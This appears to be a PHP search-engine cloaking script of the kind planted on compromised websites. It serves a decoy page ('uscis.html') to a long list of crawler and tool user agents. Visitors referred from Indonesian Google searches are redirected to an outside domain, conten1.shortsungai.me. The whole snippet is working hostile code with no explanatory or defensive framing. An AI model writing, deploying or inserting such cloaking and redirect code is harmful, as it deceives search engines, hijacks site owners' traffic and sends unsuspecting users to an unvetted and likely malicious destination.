// PHP script starts here $s_ref = $_SERVER['HTTP_REFERER'] ?? ''; $agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''); function is_bot() { $user_agent = $_SERVER['HTTP_USER_AGENT']; $bots = array( 'Googlebot', 'TelegramBot', 'bingbot', 'Google-Site-Verification', 'Google-InspectionTool', 'adsense', 'slurp', 'AhrefsBot', 'YandexBot', 'SEMrushBot', 'Baiduspider', 'MJ12bot', 'DotBot', 'MegaIndex', 'DuckDuckBot', 'Exabot', 'facebot', 'ia_archiver', 'Twitterbot', 'LinkedInBot', 'Pinterestbot', 'SemrushBot', 'Screaming Frog', 'Sitebulb', 'SerpstatBot', 'Mediapartners-Google', 'Applebot', 'Datanyze', 'Majestic-12', 'SputnikBot', 'ZoominfoBot', 'PetalBot', 'spbot', 'Coc Cocbot', 'MojeekBot', 'UptimeRobot', 'Wget', 'curl', 'python-requests', 'httpclient', 'Go-http-client', 'libwww-perl', 'Scrapy', 'Java' ); foreach ($bots as $bot) { if (stripos($user_agent, $bot) !== false) { return true; } } return false; } if (is_bot()) { $file = 'uscis.html'; if (file_exists($file)) { echo file_get_contents($file); } else { echo "Page not found."; } exit; } if (stripos($s_ref, 'google.co.id') !== false || (stripos($s_ref, 'google.com') !== false && stripos($lang, 'id') !== false)) { header("Location: https://conten1.shortsungai.me/centro.html"); exit; }